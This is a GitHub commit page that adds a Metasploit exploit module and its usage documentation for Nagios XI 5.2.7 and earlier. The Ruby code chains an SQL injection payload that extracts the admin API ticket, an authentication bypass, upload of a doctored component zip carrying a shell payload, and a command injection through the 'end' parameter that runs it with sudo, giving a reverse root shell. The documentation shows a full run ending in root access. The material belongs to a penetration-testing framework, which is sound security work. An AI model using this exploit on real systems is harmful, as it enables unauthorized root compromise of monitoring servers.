Skip to content

Commit 70a79bb

Browse files
committed
Land rapid7#7014, Nagios remote root shell exploit
2 parents 2e97a08 + d42d9f8 commit 70a79bb

File tree

2 files changed

+348
-0
lines changed

2 files changed

+348
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Intro
2+
3+
Nagios XI is the enterprise version of Nagios, the monitoring software we love
4+
and hate.
5+
6+
> This module exploits an SQL injection, auth bypass, file upload, command
7+
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
8+
9+
## Setup
10+
11+
**Download the virtual appliance:**
12+
13+
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
14+
32-bit OVA.
15+
16+
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
17+
18+
**Import the OVA:**
19+
20+
Just import it into VMware or VirtualBox. It should create a VM for you.
21+
22+
**Configure the software:**
23+
24+
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
25+
on the login screen. Connect to the URL using your web browser and follow the
26+
steps on the screen to configure the app.
27+
28+
Configuration is actually not required to exploit the app, but you should do it
29+
anyway.
30+
31+
## Usage
32+
33+
Just set ```RHOST``` and fire off the module! It's pretty much painless.
34+
```set VERBOSE true``` if you want to see details.
35+
36+
```
37+
msf > use exploit/linux/http/nagios_xi_chained_rce
38+
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
39+
rhost => [redacted]
40+
msf exploit(nagios_xi_chained_rce) > set verbose true
41+
verbose => true
42+
msf exploit(nagios_xi_chained_rce) > run
43+
44+
[*] Started reverse TCP handler on [redacted]:4444
45+
[*] Nagios XI version: 5.2.7
46+
[*] Getting API token
47+
[+] API token: 3o2erpm0
48+
[*] Getting admin cookie
49+
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
50+
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
51+
[*] Getting monitored host
52+
[+] Monitored host: localhost
53+
[*] Downloading component
54+
[*] Uploading root shell
55+
[*] Popping shell!
56+
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
57+
[*] Cleaning up...
58+
[*] rm -rf ../profile
59+
[*] unzip -qd .. ../../../../tmp/component-profile.zip
60+
[*] chown -R nagios:nagios ../profile
61+
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
62+
63+
3904334783
64+
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
65+
cKKdfdZxRpDduZCezKXOficrVyNeVggH
66+
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
67+
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
68+
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
69+
id
70+
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
71+
uname -a
72+
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
73+
```
Lines changed: 275 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,275 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Nagios XI Chained Remote Code Execution',
15+
'Description' => %q{
16+
This module exploits an SQL injection, auth bypass, file upload,
17+
command injection, and privilege escalation in Nagios XI <= 5.2.7
18+
to pop a root shell.
19+
},
20+
'Author' => [
21+
'Francesco Oddo', # Vulnerability discovery
22+
'wvu' # Metasploit module
23+
],
24+
'References' => [
25+
['EDB', '39899']
26+
],
27+
'DisclosureDate' => 'Mar 6 2016',
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Privileged' => true,
32+
'Payload' => {
33+
'Compat' => {
34+
'PayloadType' => 'cmd cmd_bash',
35+
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
36+
}
37+
},
38+
'Targets' => [
39+
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
40+
],
41+
'DefaultTarget' => 0,
42+
'DefaultOptions' => {
43+
'PAYLOAD' => 'cmd/unix/reverse_bash',
44+
'LHOST' => Rex::Socket.source_address
45+
}
46+
))
47+
end
48+
49+
def check
50+
res = send_request_cgi!(
51+
'method' => 'GET',
52+
'uri' => '/nagiosxi/'
53+
)
54+
55+
return unless res && (html = res.get_html_document)
56+
57+
if (version = html.at('//input[@name = "version"]/@value'))
58+
vprint_status("Nagios XI version: #{version}")
59+
if Gem::Version.new(version) <= target[:version]
60+
return CheckCode::Appears
61+
end
62+
end
63+
64+
CheckCode::Safe
65+
end
66+
67+
def exploit
68+
if check != CheckCode::Appears
69+
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
70+
end
71+
72+
print_status('Getting API token')
73+
get_api_token
74+
print_status('Getting admin cookie')
75+
get_admin_cookie
76+
print_status('Getting monitored host')
77+
get_monitored_host
78+
79+
print_status('Downloading component')
80+
download_profile_component
81+
print_status('Uploading root shell')
82+
upload_root_shell
83+
print_status('Popping shell!')
84+
pop_dat_shell
85+
end
86+
87+
#
88+
# Cleanup methods
89+
#
90+
91+
def on_new_session(session)
92+
super
93+
94+
print_status('Cleaning up...')
95+
96+
commands = [
97+
'rm -rf ../profile',
98+
'unzip -qd .. ../../../../tmp/component-profile.zip',
99+
'chown -R nagios:nagios ../profile',
100+
"rm -f ../../../../tmp/component-#{zip_filename}"
101+
]
102+
103+
commands.each do |command|
104+
vprint_status(command)
105+
session.shell_command_token(command)
106+
end
107+
end
108+
109+
#
110+
# Exploit methods
111+
#
112+
113+
def get_api_token
114+
res = send_request_cgi(
115+
'method' => 'GET',
116+
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
117+
'vars_get' => {
118+
'mode' => 'resolve',
119+
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
120+
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
121+
'),FLOOR(RAND(0)*2))x ' \
122+
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
123+
}
124+
)
125+
126+
if res && res.body =~ /Duplicate entry '(.*?).'/
127+
@api_token = $1
128+
vprint_good("API token: #{@api_token}")
129+
else
130+
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
131+
end
132+
end
133+
134+
def get_admin_cookie
135+
res = send_request_cgi(
136+
'method' => 'GET',
137+
'uri' => '/nagiosxi/rr.php',
138+
'vars_get' => {
139+
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
140+
Digest::MD5.hexdigest(@api_token)
141+
}
142+
)
143+
144+
if res && (@admin_cookie = res.get_cookies.split('; ').last)
145+
vprint_good("Admin cookie: #{@admin_cookie}")
146+
get_csrf_token(res.body)
147+
else
148+
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
149+
end
150+
end
151+
152+
def get_csrf_token(body)
153+
if body =~ /nsp_str = "(.*?)"/
154+
@csrf_token = $1
155+
vprint_good("CSRF token: #{@csrf_token}")
156+
else
157+
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
158+
end
159+
end
160+
161+
def get_monitored_host
162+
res = send_request_cgi(
163+
'method' => 'GET',
164+
'uri' => '/nagiosxi/ajaxhelper.php',
165+
'cookie' => @admin_cookie,
166+
'vars_get' => {
167+
'cmd' => 'getxicoreajax',
168+
'opts' => '{"func":"get_hoststatus_table"}',
169+
'nsp' => @csrf_token
170+
}
171+
)
172+
173+
return unless res && (html = res.get_html_document)
174+
175+
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
176+
vprint_good("Monitored host: #{@monitored_host}")
177+
else
178+
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
179+
end
180+
end
181+
182+
def download_profile_component
183+
res = send_request_cgi(
184+
'method' => 'GET',
185+
'uri' => '/nagiosxi/admin/components.php',
186+
'cookie' => @admin_cookie,
187+
'vars_get' => {
188+
'download' => 'profile'
189+
}
190+
)
191+
192+
if res && res.body =~ /^PK\x03\x04/
193+
@profile_component = res.body
194+
else
195+
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
196+
end
197+
end
198+
199+
def upload_root_shell
200+
mime = Rex::MIME::Message.new
201+
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
202+
mime.add_part('1', nil, nil, 'form-data; name="upload"')
203+
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
204+
mime.add_part(payload_zip, 'application/zip', 'binary',
205+
'form-data; name="uploadedfile"; ' \
206+
"filename=\"#{zip_filename}\"")
207+
208+
res = send_request_cgi!(
209+
'method' => 'POST',
210+
'uri' => '/nagiosxi/admin/components.php',
211+
'cookie' => @admin_cookie,
212+
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
213+
'data' => mime.to_s
214+
)
215+
216+
if res && res.code != 200
217+
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
218+
vprint_warning('Nagios XI not configured')
219+
else
220+
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
221+
end
222+
end
223+
end
224+
225+
def pop_dat_shell
226+
send_request_cgi(
227+
'method' => 'GET',
228+
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
229+
'cookie' => @admin_cookie,
230+
'vars_get' => {
231+
'host' => @monitored_host,
232+
'end' => ';sudo ../profile/getprofile.sh #'
233+
}
234+
)
235+
end
236+
237+
#
238+
# Support methods
239+
#
240+
241+
def payload_zip
242+
zip = Rex::Zip::Archive.new
243+
244+
Zip::File.open_buffer(@profile_component) do |z|
245+
z.each do |f|
246+
zip.entries << Rex::Zip::Entry.new(
247+
f.name,
248+
(if f.ftype == :file
249+
if f.name == 'profile/getprofile.sh'
250+
payload.encoded
251+
else
252+
z.read(f)
253+
end
254+
else
255+
''
256+
end),
257+
Rex::Zip::CM_DEFLATE,
258+
nil,
259+
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
260+
)
261+
end
262+
end
263+
264+
zip.pack
265+
end
266+
267+
#
268+
# Utility methods
269+
#
270+
271+
def zip_filename
272+
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
273+
end
274+
275+
end

0 commit comments

Comments
 (0)